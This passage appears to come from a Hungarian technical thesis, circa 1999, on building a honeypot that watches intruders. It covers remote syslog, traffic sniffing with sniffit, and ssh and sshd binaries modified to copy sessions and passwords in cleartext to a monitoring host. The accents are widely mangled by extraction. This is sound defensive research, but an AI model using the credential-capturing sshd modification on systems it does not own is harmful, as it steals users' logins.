A csapda fel´ all´ıt´ asa
Nem siker¨ ult teh´ at 100%-ig megnyugtat´oan bizony´ıtani a felt¨ or´est, ´es ha tudn´ ank is bizony´ıtani, akkor sem lenn´enek megfelel˝o lehets´egeink a tov´ abbiakra. Mindenesetre miut´ an mi kiel´eg´ıt˝ o hibaar´ annyal biztosnak vett¨ uk azt, hogy X t¨orte fel a rendszert, megtudtuk X pontos adatait. Hogy m´eg jobban cs¨ okkents¨ uk a hiba lehet˝ os´eg´et, csapd´at a´ll´ıtottunk. Az a´ltala felt¨ ort Linux rendszerben riaszt´ okat helyezt¨ unk el, melyek E-mail, majd SMS u ´tj´ an (mobiltelefonon) riasztanak minket, ha a bet¨ or u ´jra bel´ep a rendszerbe. Az´ert, hogy fontos inform´ aci´ok ne t˝ unhessenek el nyom n´elk¨ ul, t¨ obb szolg´altat´ as megfigyel´ese ´es a t¨orl´es parancs ´at´ır´ asa ut´an hagytuk ott a rendszert. P´ ar h´eten bel¨ ul a bet¨ or˝ ou ´jra bel´epett a rendszerbe, majd ezut´an p´ ar perccel mi is megkezdt¨ uk a megfigyel´es´et, keres´es´et. Gyan´ unk tov´ abb 22
n¨ ovekedett X szem´ely´evel kapcsolatban. A bet¨ or˝ o ´eszrevette, hogy m´ar nem korl´ atlan ura a rendszernek, ´ıgy hamarosan kil´epett. X -et telefonon h´ıvtuk fel ezut´an, ´es ott nem tagadta a bet¨or´es t´eny´et. . . A p´elda legl´enyegesebb eleme az, hogy noha a c´elsz´am´ıt´ og´epen semmilyen adat nem utalt eg´esz pontosan a bet¨or˝ o szem´elyazonoss´ag´ara, m´egis a megl´ev˝o adatok u ¨tk¨ oztet´es´evel siker¨ ult kider´ıteni a bet¨ or´est v´egz˝o szem´ely kil´et´et. Volt m´eg egy fontos tanuls´ aga a dolognak: a bet¨ or˝ o tov´ abbi kiskaput hagyott a rendszerben. Ezt saj´ at maga leplezte le akkor, amikor u ´jra a rendszerbe l´epett. Ez´ert teh´at hasznos volt hagyni, hogy m´eg egyszer, imm´ar kontroll´ alt m´odon l´ephessen be, mert ´ıgy fontos, a´ltalunk nem ismert adathoz is jutottunk bet¨ or´es´evel kapcsolatban.
2.2
A csapdasz´ am´ıt´ og´ ep ¨ ossze´ all´ıt´ asa
A fenti p´elda kapcs´an a k¨ ovetkez˝o ¨otlet fogalmaz´ odott meg benn¨ unk: ´ ıteni kellene egy olyan sz´ Ep´ am´ıt´ og´ep-rendszert, ahol egy val´ os k¨ornyezetben tudjuk megfigyelni sz´ am´ıt´ og´epes bet¨or˝ ok tev´ekenys´eg´et. Ez egyr´eszt izgalmas feladat: le lehet vele leplezni sz´am´ıt´ og´epes b˝ un¨ oz˝oket. De ez csak az ´erem egyik oldala, a m´asik oldalon seg´ıt meger˝os´ıteni a sz´am´ıt´ og´eprendszer¨ unk biztons´ ag´at. Csak a t´amad´ onk megismer´es´evel k´esz¨ ulhet¨ unk fel igaz´ an j´ ol a t´amad´ asokra. Van tov´ abb´ a m´eg egy fontos sz´and´ek is ebben a munk´ aban: ha siker¨ ul k¨ ovetni egy bet¨or˝ o tev´ekenys´eg´et egy rendszeren, akkor nagy az es´elye, hogy tov´ abbi rendszerekbe val´ o bet¨or´eseire is inform´aci´okat hagy h´ atra. Ezek lehetnek: • bel´ep´es egy m´asik, felt¨ort rendszerbe; • f´ ajl´ atvitel m´as rendszerekr˝ol, ahol m´ ar j´ art; • v´eletlen el´ır´ asok, melyeket m´as g´epekre akart be´ırni, csak elt´evesztette az ablakot; • stb. ¨ Osszess´ eg´eben teh´at nemcsak pontosabban tudn´ ank k¨ ovetni a bet¨ or˝ o mentalit´ as´at, ´es ismerni szoftver ´es m´odszertani eszk¨ozeit, hanem meg is tudn´ ank vizsg´ alni, hogy az adott bet¨ or˝ o milyen rendszereket t¨ort m´eg fel, ´ıgy esetleg kider¨ ulhetne olyan felt¨ or´es is, amelyre a felt¨ort g´ep gazd´ai m´eg nem j¨ottek r´ a, de nek¨ unk m´ ar inform´ aci´oink lenn´enek r´ola.
23
2.2.1
A csapda konkr´ et fel´ ep´ıt´ ese
A csapdasz´am´ıt´ og´ept˝ol a k¨ ovetkez˝o krit´eriumokat v´ artuk el: • Legyen egyszer˝ u elk´esz´ıteni, standard eszk¨ oz¨okre ´ep¨ ulj¨ on. • Ne vesz´elyeztesse a megl´ev˝o sz´am´ıt´ og´epes h´al´ ozat biztons´ ag´at, azaz mag´an a csapdasz´am´ıt´ og´epen k´ıv¨ ul m´ as sz´am´ıt´ og´epekre ne jelentsen vesz´elyt. • A bet¨or˝ o ne, vagy csak nehezen vegye ´eszre, hogy bet¨or´ese k¨ozben figyelik. • Minden lehets´eges inform´aci´ot r¨ ogz´ıts¨ unk a bet¨ or´esr˝ol, de csak annyit, amennyit ki is tudunk ´ert´ekelni. Legyen teh´ at strukt´ ur´ alt inform´ aci´o, de ha valami eg´esz pontosan ´erdekesnek bizonyul, akkor r´eszletes inform´ aci´o is. • A rendszer legyen mobilis, k¨ onnyen kezelhet˝o ´es ´atalak´ıthat´ o. Az ´altalunk fel´ep´ıtett rendszer a k¨ ovetkez˝oket tartalmazza: A rendszert a Debian GNU Linux disztrib´ uci´ o ,,slink”, 2.1-es verzi´ oj´ ab´ ol hoztuk l´etre, mely 1999. m´arcius´ aban jelent meg. A rendszert egy viszonylag egyszer˝ u ´es olcs´on beszerezhet˝o sz´am´ıt´ og´epre telep´ıtett¨ uk (Intel Celeron 366MHz, 64 Mbyte RAM, 6.4 GB HDD, . . . ) Mivel b´ arki, aki a csapda-g´epet felt¨ ori, a g´ep h´ al´ ozati csatol´oj´ an a´tmen˝o ´ b´ armely adathoz hozz´af´erhet (sniffelheti). Igy igen fontos, hogy a g´ep vagy egy switchelt h´al´ ozati szakaszon legyen, vagy – mint a mi megold´asunkban – a g´epet egy m´asik g´epen ´at tett¨ uk el´erhet˝ov´e. (2.1. a´bra) A m´asik (,,firewall”) g´epben k´et h´al´ ozati csatol´o volt, ennek egyik k´ arty´ aja a k¨ ulvil´ ag ir´ any´ aban akt´ıv h´ al´ ozati csatol´o volt, a m´ asikra keresztbenk¨ot¨ott UTP k´ abel seg´ıts´eg´evel csatlakoztattuk a csapdasz´am´ıt´ og´epet. Ezzel a megold´ assal azt ´ert¨ uk el, hogy a csapdasz´ am´ıt´ og´ep h´ al´ ozati csatol´oj´ an a labor tov´ abbi forgalma nem megy ´at. ´Igy – ha a laborb´ ol senki nem haszn´alja az csapdag´epet m´as c´elra – az ottani lehallgat´ as nem okoz biztons´agi probl´em´at a t¨ obbi sz´ am´ıt´ og´epre n´ezve. Ezt k¨ onny´ıtend˝ o a m´asik, u ´gymond ,,firewall” szerepet elj´ atsz´o sz´am´ıt´ og´epen (szint´en Linux-os g´ep) u ´gy install´ altuk az IP forwardingot1 hogy csak a k¨ uls˝o forgalom ker¨ ulhet a csapdasz´am´ıt´ og´epre. ´Igy a labor m´ as g´epeir˝ol a csapdasz´am´ıt´ og´ep k¨ ozvetlen¨ ul el´erhetetlen ´es viszont. Ha a labor g´epei ´es a csapdasz´am´ıt´ og´ep k¨ oz¨ott adatmozgat´ asra van sz¨ uks´eg, akkor ezt a ,,firewall” g´epbe val´ o bejelentkez´essel lehet csak megtenni. 1
IP csomagok sz˝ urt tov´ abb´ıt´ asa transzparens m´ odon. (Itt k¨ ul¨ onb¨ oz˝ o csatol´ ok k¨ oz¨ ott.)
24
IP szûrõ ROUTER
10Mbps HUB
10/100
100Mbps
SWITCH
HUB
INTERNET Csapda Veszélyes zóna Veszélyes zóna
´abra 2.1: A labor fel´ep´ıt´ese, a csapda sz´am´ıt´ og´ep k¨ ornyezete A csapdasz´am´ıt´ og´ep fel˝ ol a ,,firewall” g´ep ¨osszes nem sz¨ uks´eges szolg´altat´ as´at, IP portj´ at letiltottuk, a linux rendszerbe (2.2-es kernel) be´ep´ıtett ipchains technika seg´ıts´eg´evel. Ezzel nehezebb´e tett¨ uk azt, hogy a csapdasz´am´ıt´ og´epre bet¨or˝ o illet˝ o esetleg a labor m´as g´epeire ´atl´epve oda is bet¨ orj¨ on.
2.2.2
Napl´ oz´ as be´ all´ıt´ asa
Miut´ an a csapdasz´am´ıt´ og´ep ily m´ odon fogadni ´es tov´abb´ıtani tudja az adatokat, a k¨ ovetkez˝o l´ep´es a napl´ oz´as, az inform´ aci´o t´ arol´ as pontos felt´eteleinek megteremt´ese volt. A Linux rendszer alapki´ep´ıt´es´eben is t´arol inform´ aci´okat arr´ ol, hogy mi t¨ort´ent a rendszerrel. Ezt vagy egyes specifikus alkalmaz´asok k¨ ul¨ on v´egzik (FTP-daemon transferlog, Apache web-szerver napl´ of´ ajljai) vagy a k¨ ozponti 2 syslogd nevezet˝ u daemon -on kereszt¨ ul t¨ ort´enik az adatok ment´ese. A syslogd pontos inform´ aci´okat kap minden bel´ep´esr˝ol, az egyes szolg´altat´ asok u ¨zeneteir˝ ol. Ezeket az u ¨zeneteket u ´n. Syslog facility-k szerint csoportos´ıtva kapja, amelyeken bel¨ ul tov´ abbi csoportos´ıt´ as is lehets´eges. Azt, hogy melyik napl´ of´ ajlba pontosan mit kell elmenteni, a syslogd egy konfigur´ aci´os f´ajlb´ ol olvassa ki. Elk´epzelhet˝o az is, hogy egy-egy u ¨zenet t¨obb helyre is elment´esre ker¨ ul, de az is elfordulhat, hogy sehova sem. 2
kiszolg´ al´ o-fel¨ ugyel˝ o program
25
A napl´ obejegyz´esek ment´es´ere nem lenne c´elszer˝ u a majdan felt¨ or´esre ker¨ ul˝ o csapdasz´am´ıt´ og´epet haszn´alni, mivel az azon lev˝ o f´ ajlokhoz egy felt¨ or´es ut´ an b´ arki hozz´ af´erhet ´es visszamen˝ oleg t¨or¨ olheti a bejegyz´eseket. Ha minden egyes napl´ ou ¨zenetet ´atk¨ uld¨ unk egy m´ asik g´epre , akkor ezzel megakad´ alyozhatjuk, hogy a bet¨ or˝ o legal´abb visszamen˝oleg ne t˝ untethesse el a bejegyz´eseket. Ha pedig az u ¨zeneteket sorfolytonosan ´ırjuk le, akkor a m´ ult m´ar megv´altoztathatatlan marad. naplóüzenet syslogd
esemény
Csapda
´abra 2.2: T´ avoli napl´ oz´as A syslog daemon t´amogatja a t´ avoli logol´ ast. Ebben az esetben a konfigur´ aci´os f´ajlban megadott sz´ am´ıt´ og´epre k¨ uldi tov´ abb a megadott u ¨zeneteket. A c´elsz´am´ıt´ og´epen term´eszetesen u ´ gy kell futtatni a syslog daemont, hogy az a k¨ uls˝o u ¨zeneteket fogadja. (2.2. a´bra) (Ezt a -r kapcsol´oval futtatva tehetj¨ uk meg.) A probl´em´at az okozza, hogy a t´avoli logol´ as authentik´ alatlanul t¨ ort´enik, azaz ha megnyitjuk ezt a lehets´eget, akkor elvileg b´ arki a vil´ agb´ ol teleszemetelheti g´ep¨ unket hamis u ¨zenetekkel. Mi a k¨ ovetkez˝o megold´ast v´alasztottuk: • A syslogd minden u ¨zenetet tov´abbk¨ uld az 5.4.3.2 IP c´ım˝ u g´ep fel´e; • A ,,firewall”-nak nevezett sz´am´ıt´ og´epen (ami k¨ ozvetlen¨ ul csatlakozik a csapdasz´am´ıt´ og´epre) letiltottuk a syslog portj´ at, nehogy v´eletlen¨ ul teleszemetelje egy t´amad´ o; • Az 5.4.3.2 IP c´ım˝ u g´ep syslog portj´ ara ir´ anyul´ o forgalmat a ,,firewall” sz´am´ıt´ og´epen ´atir´ any´ıtottuk annak lok´ alis syslog portj´ ara. • A ,,firewall” sz´ am´ıt´ og´epen 2 db. syslog daemon fut, az egyik a lok´ alis u ¨zenetek feldolgoz´as´ara, a m´ asik k¨ ul¨ on konfigur´ aci´os f´ajlt ´es t´arol´ asi alk¨ onyvt´ art haszn´ alva a t´ avoli logok gy˝ ujt´es´et v´egzi. Ennek eredm´enyek´eppen minden u ¨zenet, ami kijut a csapdasz´ am´ıt´ og´epr˝ ol, megfelel˝oen r¨ ogz´ıt˝ odik a ,,firewall” sz´ am´ıt´ og´epen, ugyanakkor a bet¨ or˝ o b´ armilyen 26
lehallgat´ as eset´en sem tudhatja biztosan, hogy hova ker¨ ultek a logok, ´ıgy nem val´ osz´ın˝ u, hogy azok megsemmis´ıt´es´ere fog t¨ orekedni, magyarul a ,,firewall” sz´am´ıt´ og´epet nem veszi c´elba. Egy tov´ abbi gond maradt nyitott: a t´ avoli logol´ as t´eny´et a bet¨or˝ o hamar ´eszreveheti. Erre k´et lehet˝os´ege is lehet: az egyik a h´al´ ozati forgalom lehallgat´ asa, a m´asik a syslog konfigur´ aci´os f´ajlj´ anak egyszer˝ u megtekint´ese. Mindkett˝ ore van megold´ as: A syslog daemon forr´ asprogramj´ anak m´ odos´ıt´ as´aval az u ´jraford´ıt´ as ut´ an m´ar nem a szok´asos helyr˝ ol veszi a konfigur´ aci´os inform´ aci´okat, hanem egy m´asik f´ ajlb´ ol. Ekkor a bet¨ or˝ o nyugodtan hiheti, hogy az eredeti helyen lev˝ o konfigur´ aci´os f´ajl tartalmazza az igazi bejegyz´eseket. Az egyed¨ uli gond az lehet, ha ezt a f´ajlt edit´ alni kezdi, ´es ezut´an nem l´ atja a logol´ as megv´altoz´ as´at. Ez´ert a legc´elszer˝ ubb az eredeti f´ ajl felhaszn´ al´ asa, ´es ehhez egy tov´abbi kieg´esz´ıt˝ o f´ ajl haszn´ alata. A m´asik probl´ema, a lehallgat´ as nehezen v´edhet˝o. Egyik megold´ asunk lehetne, hogy nem a h´ al´ ozaton kereszt¨ ul k¨ uldj¨ uk a´t a napl´ obejegyz´eseket, hanem p´eld´aul a sz´am´ıt´ og´ep p´ arhuzamos portj´ an a´t (nyomtat´ ora vagy ily m´odon csatlakoztatott m´asik g´epre). Ez azonban k¨ or¨ ulm´enyes ´es sokkal jobb nem lesz t˝ole a rendszer. Egy m´ asik megold´as, ha titkos´ıtva k¨ uldj¨ uk a´t az adatokat a h´ al´ ozaton. A bet¨ or˝ o ez esetben is sejtheti – f˝oleg ha megkeresi a ,,jelek” forr´ as´at –, hogy logol´ asr´ol van sz´o, de ennek ellen´ere a folyamatot biztons´ agosabb´ a teheti.
2.2.3
A t´ avoli napl´ oz´ as u ´j m´ odszerei
Tov´abbi gond, ha a bet¨ or˝ o felfedezi a t´avoli napl´ oz´ast, akkor elronthatja, meghamis´ıthatja az a´tk¨ uld¨ ott bejegyz´esek tartalm´at. A t´ avoli g´epen nem lehet tudni pontosan, hogy mikor kezdte el a logokat a csapdasz´am´ıt´ og´epen m˝ uk¨ od˝ o bet¨or˝ o meghamis´ıtani. Ez azonban ´athidalhat´ o. A ut´ obbi hetekben (1999. okt´ ober) alakult az, IETF-en (Internet Engineering Task Force) bel¨ ul egy bizotts´ag, amelyik a syslog megers´ıt´es´evel, biztons´ agosabb´ a ´es jobban kezelhet˝ ov´e t´etel´e´ert tev´ekenykedik. A bizotts´ ag m˝ uk¨ od´ese m¨og¨ott t¨ obb, m´ ar kifejlesztett azonban nem elterjedt, nem sz´elesk¨orben ismert megold´as h´ uz´odik meg. Egy egyszer˝ u elj´ ar´ ast mutat be a biztons´ agosabb napl´ of´ ajl-kezel´es megold´ as´ara Kargieman ´esFutoransky a ,,PEO-1 protokoll” seg´ıts´eg´evel. [16] A m´odszer egyszer˝ u hashf¨ uggv´enyen3 alapul, ahol szekvenci´ alisan, az el˝ oz˝o u ¨zenett˝ol is f¨ ugg a k¨ ovetkez˝o tartalma. Ezzel ugyan m´eg nem oldj´ ak meg a 3
Hashf¨ uggv´eny: olyan egyir´ any´ u f¨ uggv´eny, ami egy nagyobb m´eret˝ u adathalmazr´ ol egy
kisebb m´eret˝ u adathalmazra k´epez le; hashf¨ uggv´ennyel lek´epzett ,,lenyomatot” haszn´ alnak p´eld´ aul digit´ alis al´ a´ır´ as bemenetek´ent
27
probl´em´at 100%-ig, mert egy bet¨or˝ o a csapdasz´am´ıt´ og´ep mem´ori´ aj´ ahoz is korl´ atlanul hozz´ af´erhet, ´es ´ıgy gyakorlatilag minden adat a rendelkez´es´ere ´allhat. Azonban a c´elnak megfelel: nem lehetetlenn´e, csak probl´em´ass´a, igen k¨ or¨ ulm´enyess´e teszi a t´amad´ ast. (A protokollt alkalmaz´ o syslog megold´as rendelkez´esre ´all, most nem haszn´aljuk, de a k¨ ozelj¨ov˝ oben be´ep´ıtj¨ uk a rendszer¨ unkbe.) [17] Megoldottuk teh´ at, hogy a rendszer¨ uzenetek megfelel˝oen ment´esre ker¨ uljenek, azonban ez m´eg igencsak kev´es a bet¨or˝ o cselekedeteinek k¨ovet´es´ere.
2.2.4
A forgalom figyel´ ese
Az, hogy a csapdasz´am´ıt´ og´epet a ,,firewall”-on kereszt¨ ul tett¨ uk el´erhet˝ov´e, u ´jabb lehets´eget hordoz mag´aban: Minden forgalmat, ami a csapdasz´ am´ıt´ og´ep fel´e megy vagy j¨on att´ ol, megfigyelhet¨ unk a k¨ oztes ,,firewall”-on is. A megfigyel´esre term´eszetesen haszn´alhatunk nagy IDS rendszereket is, ezek azonban t¨ obbnyire p´enzbe ker¨ ulnek ´es ideiglenes, kipr´ ob´ al´ asra sz´ant ingyenes verzi´oik megszerz´ese sem egyszer˝ u. B´ ar a legt¨obb IDS rendszer jelezn´e nek¨ unk a bet¨or´es t´eny´et, ugyanakkor a bet¨ or˝ o megfigyel´es´ere m´ar nem annyira alkalmas. Alkalmatlan tov´ abb´ a a k´ odolt adatfolyamok megfigyel´es´ere, ilyen p´eld´aul az SSH, a titkos´ıtott shell k¨ ozismert protokollja.
2.2.5
Sniffit
Mi teh´ at egyszer˝ ubb l´ep´est v´alasztottunk: A csapdasz´am´ıt´ og´ep ir´ any´ aban zajl´ o forgalomb´ ol bizonyos szolg´altat´ asok adatait a sniffit nev˝ u programmal r¨ ogz´ıtj¨ uk egy megfelel˝o alk¨ onyvt´ arba. Ez a program a ,,firewall” Ethernet k´ arty´ aj´ at az u ´n. ,,promiscuous” m´ odba ´ kapcsolja. Igy minden Ethernet-csomag feldolgoz´ asra ker¨ ul, nem csak azok, amelyek c´elpontja az adott sz´ am´ıt´ og´ep. A sniffit a TCP kapcsolatokon ´atmen˝o adatokat f´ ajlokba menti, melyek nevei tartalmazz´ ak az adott kapcsolatban r´esztvev˝o k´et IP c´ımet ´es a portc´ımeket. Ezzel a megold´assal (ha a sniffit b´ırja a h´ al´ ozati forgalmat ´es nem hagy ki csomagokat), logolni tudjuk a csapdasz´ am´ıt´ og´epre tart´ o TELNET adatfolyamokat, az FTP kapcsolatokon a´tment parancsokat, az ´atmen˝o leveleket, WWW k´er´eseket, ´es p´ar egy´eb dolgot. Sajnos tov´ abbra sem lesz ezzel haszn´alhat´ o logunk az SSH protokollr´ ol, sem b´armely SSL-t haszn´ al´ o szolg´altat´ asr´ ol. A sniffit-et be tudtuk m´eg ´all´ıtani u ´gy is, hogy az egyes szolg´altat´ asokr´ ol o¨sszes´ıt˝ o t´ abl´ azatot is k´esz´ıtsen, azaz egy k¨ ul¨ on f´ ajlba menti p´eld´aul a TELNET kapcsolatokon a´tment n´ev/jelsz´o azonos´ıt´ op´ arokat. A legfontosabb l´ep´ese a bet¨or˝ o megfigyel´es´enek a shell parancsok k¨ ovet´ese. Ez a TELNET kapcsolat lehallgat´ as´aval m´ ar megval´ osult, azonban ma m´ ar a 28
dekódolt adatdfolyam kódolt adatfolyam
kódolt adatfolyam Csapda
tárolás
szûrés
´abra 2.3: Titkos´ıtatlan adatfolyam kisziv´ arogtat´ asa TELNET protokoll helyett majdnem mindenki az SSH szolg´ altat´ ast haszn´alja. Ez pedig k´ odolt TCP/IP forgalmat eredm´enyez.
2.2.6
Az SSH napl´ oz´ asa
Mit lehet tenni annak ´erdek´eben, hogy az ssh-n a´tmen˝o forgalmat is meg tudjuk figyelni? Az SSH t¨ obbfajta titkos´ıt´ asi ´es authentik´ aci´os elj´ar´ ast tartalmaz. ´o Authentik´ al´ asn´al k´etf´ele m´odszert v´al´ aaszthatunk: azonos´ıt´ as nyilv´ anos kulcs´ u rejtjelez´es seg´ıts´eg´evel, illetve hagyom´ anyos jelsz´o alap´ u azonos´ıt´ as. A bet¨or˝ o ezen elj´ar´ asok k¨ oz¨ ul egyszer˝ us´ege miatt a igen nagy val´ osz´ın˝ us´eggel jelszavas azonos´ıt´ ast fogja haszn´ alni. Lehets´eges megold´as teh´at u ´gy a´t´ırni az SSH protokollt, hogy a ,,firewall”-on kital´ alhat´ o legyen a kapcsolat alatt haszn´alt o¨sszes kulcs, ehhez az adott sz´am´ıt´ og´ep (a mi feladatunkban a csapda-g´ep) nyilv´ anos ´es titkos RSA kulcs´ at is ´at kell vinni a ,,firewall”ra. Ezut´ an az eg´esz kapcsolat alatt fenn´all´ o titkos adatfolyamot vissza kell k´ odolni a kor´ abban megfigyelt, kulccsere sor´an l´etrej¨ov˝ o kapcsolat-kulccsal. Ez egy j´ arhat´ ou ´t, a´m igen-igen bonyolult, nem teljes´ıten´e a specifik´aci´oban elv´art egyszer˝ us´eget. Milyen megold´ asok j¨ ohetnek m´eg sz´oba? Egy k´ odolt u ¨zenet-sorozat felt¨or´ese igen neh´ez lehet, azonban a probl´ema gyakorta megker¨ ulhet˝ o. Az egyik sz´obaj¨ ohet˝ o megold´as a csapdasz´am´ıt´ og´epen van. Az SSH ´es a TELNET is egy shell t fog futtatni, melynek k´ odj´ at m´odos´ıthatjuk u ´gy, hogy minden rajta a´tmen˝o adatot l´ assunk. Tal´ alhatunk is m´ ar meg´ırt programcsomagot ilyen c´elokra, p´eld´aul ttysnoop. A dolog csak az´ert probl´em´as, mert ezeket az adatokat mi szeretn´enk biztons´ agosan elmenteni, p´eld´ aul a
29
,,firewall” g´epre. Ekkor pedig a lehallgatott adatokat a syslogd-nek kellene k¨ ulden¨ unk, a´m t¨obb u ´j probl´ema mer¨ ul fel: A syslogd napl´ obejegyz´esek feldolgoz´ as´an´ al ´es a ment´esn´el is pontosan kell k¨ ovetni, melyik u ¨zenet melyik bejelentkez´eshez, melyik ´eppen fut´ o shell -hez tartozik. A vez´erl˝o-karakterek ´atvitele is probl´em´akat jelent. Enn´el az u ´tn´ al tal´ altunk egy sokkal egyszer˝ ubben megval´ os´ıthat´ o elj´ ar´ ast: A m´odszer az ssh ´es az sshd programok, azaz az SSH kliens ´es SSH szerver ´at´ır´ asa volt. Mindk´et programot forr´ ask´odj´ aban u ´gy m´ odos´ıtottuk, hogy azok egy-egy kapcsolatn´al ne csak a megszokott titkos kapcsolatot, hanem kapcsolatonk´ent k´et, nemtitkos kapcsolatot is nyissanak meg. A nemtitkos kapcsolatot az ´altalunk a´t´ırt ssh a ,,firewall” sz´ am´ıt´ og´ep fel´e nyitotta. Az egyik kapcsolaton a fogadott, a m´ asik kapcsolaton a k¨ uld¨ ott inform´ aci´ot lehet megfigyelni nem titkos´ıtott form´ aban. (Ha nem akarjuk, hogy a bet¨ or˝ o lehallgat´ as eset´en r´ aj¨ ojj¨ on, hogy mi is lehallgatjuk o˝t, akkor egy egyszer˝ ubb titkos´ıt´ assal, ak´ ar a PEO-1-gyel ezt a nemtitkos kapcsolatot is v´edhetj¨ uk, titkos´ıthatjuk.) A nemtitkos kapcsolaton a´tment adatok elment´es´er˝ol a ,,firewall”-on az ´altalunk meg´ırt r¨ ovid perl programok gondoskodnak. A nemtitkos kapcsolat els˝o sor´aban az ssh vagy sshd k¨ ozli a perl script-ekkel a c´elsz´am´ıt´ og´ep, vagy a daemon eset´en a forr´ assz´am´ıt´ og´ep c´ım´et. Ez alapj´ an a perl script a megfelel˝o alk¨ onyvt´ arban egy megfelel˝ o n´evvel azonos´ıtott f´ ajlba menti az ¨osszes adatot. Az sshd az authentik´ aci´o sor´an megkapott jelsz´ot ´es felhaszn´al´ oi azonos´ıt´ ot is tov´ abb´ıtja a nemtitkos kapcsolat ir´ any´ aba, mivel az k¨ ul¨ onben nem lehetne megfigyelhet˝o. Az ssh programot term´eszetesen csak bin´arisan raktuk fel a csapdasz´ am´ıt´ og´epre, ´es mint sejthetj¨ uk, nem sok bet¨ or˝ o fogja leellen˝orizni, hogy a rendszerben lev˝ o bin´ aris f´ ajlok az adott szitu´ aci´oban hitelesek-e, avagy sem. ´Igy legal´abb az els˝o lehallgat´ asig minden bizonnyal titkos tud maradni tev´ekenys´eg¨ unk. Az ssh programok a´t´ır´ as´aval m´ od van a bet¨ or˝ o tov´ abbi megfigyel´es´ere is: Felt´etelezhetj¨ uk, hogy a bet¨ or˝ o (az´ert, hogy mag´ at elrejtse, vagy egy´eb okb´ ol, esetleg v´eletlen¨ ul is) a felt¨ ort csapdasz´ am´ıt´ og´epr˝ ol fog u ´jabb sz´ am´ıt´ og´epekre tov´ abbmenni. Mi ezeket is pontosan meg tudjuk figyelni. A dolog voltak´eppen egy rejtett biztons´agi probl´ema: Az SSH protokoll mindig csak a legk¨ozelebbi szerverig titkos´ıt, ha onnan u ´jra tov´ abbmegy¨ unk, akkor a m´ ar kititkos´ıtott adatfolyam ker¨ ul u ´jra k´ odol´ asra (2.4. a´bra) Ha ilyen esetben a k¨oz´epen elhelyezked˝ o szerver csak buta ism´etl˝o lenne, ´es a t´avoli szerverhez men˝o adatokat csak sim´an megism´eteln´e, a kliens pedig k¨ ozvetlen a t´avoli szervert˝ol szerezne kulcsot a k´odol´ ashoz, akkor a rendszer biztons´ agos tudna maradni. Term´eszetesen m´odot adna man-in-the-middle 30
1. gép shell
kódolás (K1 kulccsal)
2. gép titkos üzenet dekódolás (K1 kulccsal)
shell 3. gép shell
dekódolás (K2 kulccsal)
titkos üzenet kódolás (K2 kulccsal)
´abra 2.4: Az SSH m˝ uk¨ od´esi m´odja t¨ obb g´epen kereszt¨ ul t´ıpus´ u t´ amad´ asra, de ez ellen az SSH eleve v´edekezik a szerver RSA alap´ u azonos´ıt´ as´aval. Nagyon ´erdemes ´atgondolni teh´ at, hogy noha az SSH-ban jobban megb´ıztunk mint egy titkos´ıtatlan adatfolyamban, ennek ellen´ere ugyan´ ugy le lehetett hallgatni, persze csak az egyik oldal akt´ıv k¨ ozremk¨od´es´evel. A hamis biztons´ag´erzet viszont szabads´agot adhat a meggondolatlan ember kez´ebe, ami ´ vesz´elyt jelenthet sz´am´ara. Ugy gondolja, hogy biztons´ agban van, k¨ ozben pedig nem, ´ıgy viszont j´ oval nagyobb baj ´erheti, mint ha megfelel˝ oen ´ovatos lenne.
2.2.7
Tov´ abbi teend˝ ok; a bet¨ or˝ o csalogat´ asa
A logol´ as f˝o feladatait ezzel megoldottuk. M´ ar csak egy p´ar apr´ o l´ep´est kell tenni annak ´erdek´eben, hogy pontosan tudjuk, mikor mi t¨ ort´enik a rendszer¨ unk¨ on. El kell helyezni apr´ o tr¨ ukk¨ oket: • A bel´ep´es ut´an automatikusan lefut´ o programok (p´eld´ aul a .bashrc vagy a .profile scriptek) belsej´ebe elhelyezhet¨ unk figyelmeztet˝ o rutinokat, melyek E-mail-ben figyelmeztetnek, ha valaki az adott felhaszn´al´ o nev´en bel´epett. • Megv´ altoztathatjuk az rm (f´ ajl t¨ orl´es) parancsot, hogy a t¨ or¨ olt f´ ajlokat ne t¨or¨ olje v´eglegesen, csak egy ideiglenes helyre rakja ´at. Fontos, hogy a felinstall´ alt, ´es felt¨ort rendszer¨ unkben m´ ar mi sem b´ızhatunk, ´ıgy egyr´eszt ´erdemes archiv´alni a rendszer¨ unket egy esetleges bet¨or´es el˝ott, illetve c´elszer˝ u minden f´ ajlr´ ol ujjlenyomatot (fingerprint) venni. 31
A [3]-ben kifejtett m´ odon p´eld´aul a tripwire programmal MD5 al´ a´ır´ asokat t´arolhatunk a felrakott programokr´ ol ´ıgy a rendszer ´allapot´ at folyamatosan ellen˝orizhetj¨ uk. Fontos, ´es elengedhetetlen l´ep´es, hogy kirakjunk a bel´ep´eskor egy figyelmeztet˝ ou ¨zenetet 4 . Ez tartalmazza azt, hogy a rendszert csak enged´elyezett felhaszn´al´ ok haszn´alhatj´ ak, ´es hogy minden billenty˝ ule¨ ut´est montirozhatunk. Erre a jog vissz´ass´aga miatt mindenk´eppen jobb odafigyelni, hiszen esetleg mi ugyan nem tudjuk beperelni a bet¨ or˝ ot, de a bet¨ or˝ o beperelhet minket az illet´ektelen lehallgat´ as´ert. Az apr´ obb tr¨ ukk¨ ok k¨ oz´e tartozik m´eg a figyelem felkelt´ese ´es koncentr´ al´ asa. ´ Erdemes a g´ep nev´et u ´gy megv´ alasztani, hogy az k¨ onnyen potenci´ alis bet¨ or˝ ok c´elpontja legyen. P´eld´aul egy ns2.bme.hu c´ımet b´armely bet¨or˝ o ´erdekesnek tal´ alhatja. Hasonl´ o eszk¨oz p´eld´aul a finger inform´ aci´ ok meghamis´ıt´ asa. Mi a m´ar meg´ırt decfingerd programot haszn´ altuk, melyn´el sz¨oveges f´ajlokban t´ arolt hamis inform´ aci´o ker¨ ul ki´ır´ asra a felhaszn´al´ o k´eperny˝ ore. Ebb˝ ol megtudhatja, hogy egy ,,guest” nev˝ u ´es egy ,,hallgato” felhaszn´ al´ o is be van l´epve a rendszerbe. Ezut´an szabadon eld¨ onthet˝ o, hogy legyen-e t´enyleges ,,guest” felhaszn´al´ o, vagy csak az erre ´erkez˝o k´ıs´erleteket k¨ovess¨ uk. Ez alkalmas lehet egy val´odi rendszer v´edelm´ere is. (P´eld´aul azonnal letiltjuk annak a g´epnek a hozz´af´er´es´et a rendszer¨ unkh¨ oz, amelyik a ,,guest” azonos´ıt´ ora pr´ ob´ al bel´ep´est kezdem´enyezni.) Megtehetj¨ uk azt is, hogy a ,,guest” felhaszn´al´ onak nem adunk jelsz´ ot, vagy nagyon egyszer˝ u jelsz´ot haszn´ alunk a bel´ep´es megk¨onny´ıt´es´ere. Mi azt a m´odszert v´alasztottuk, 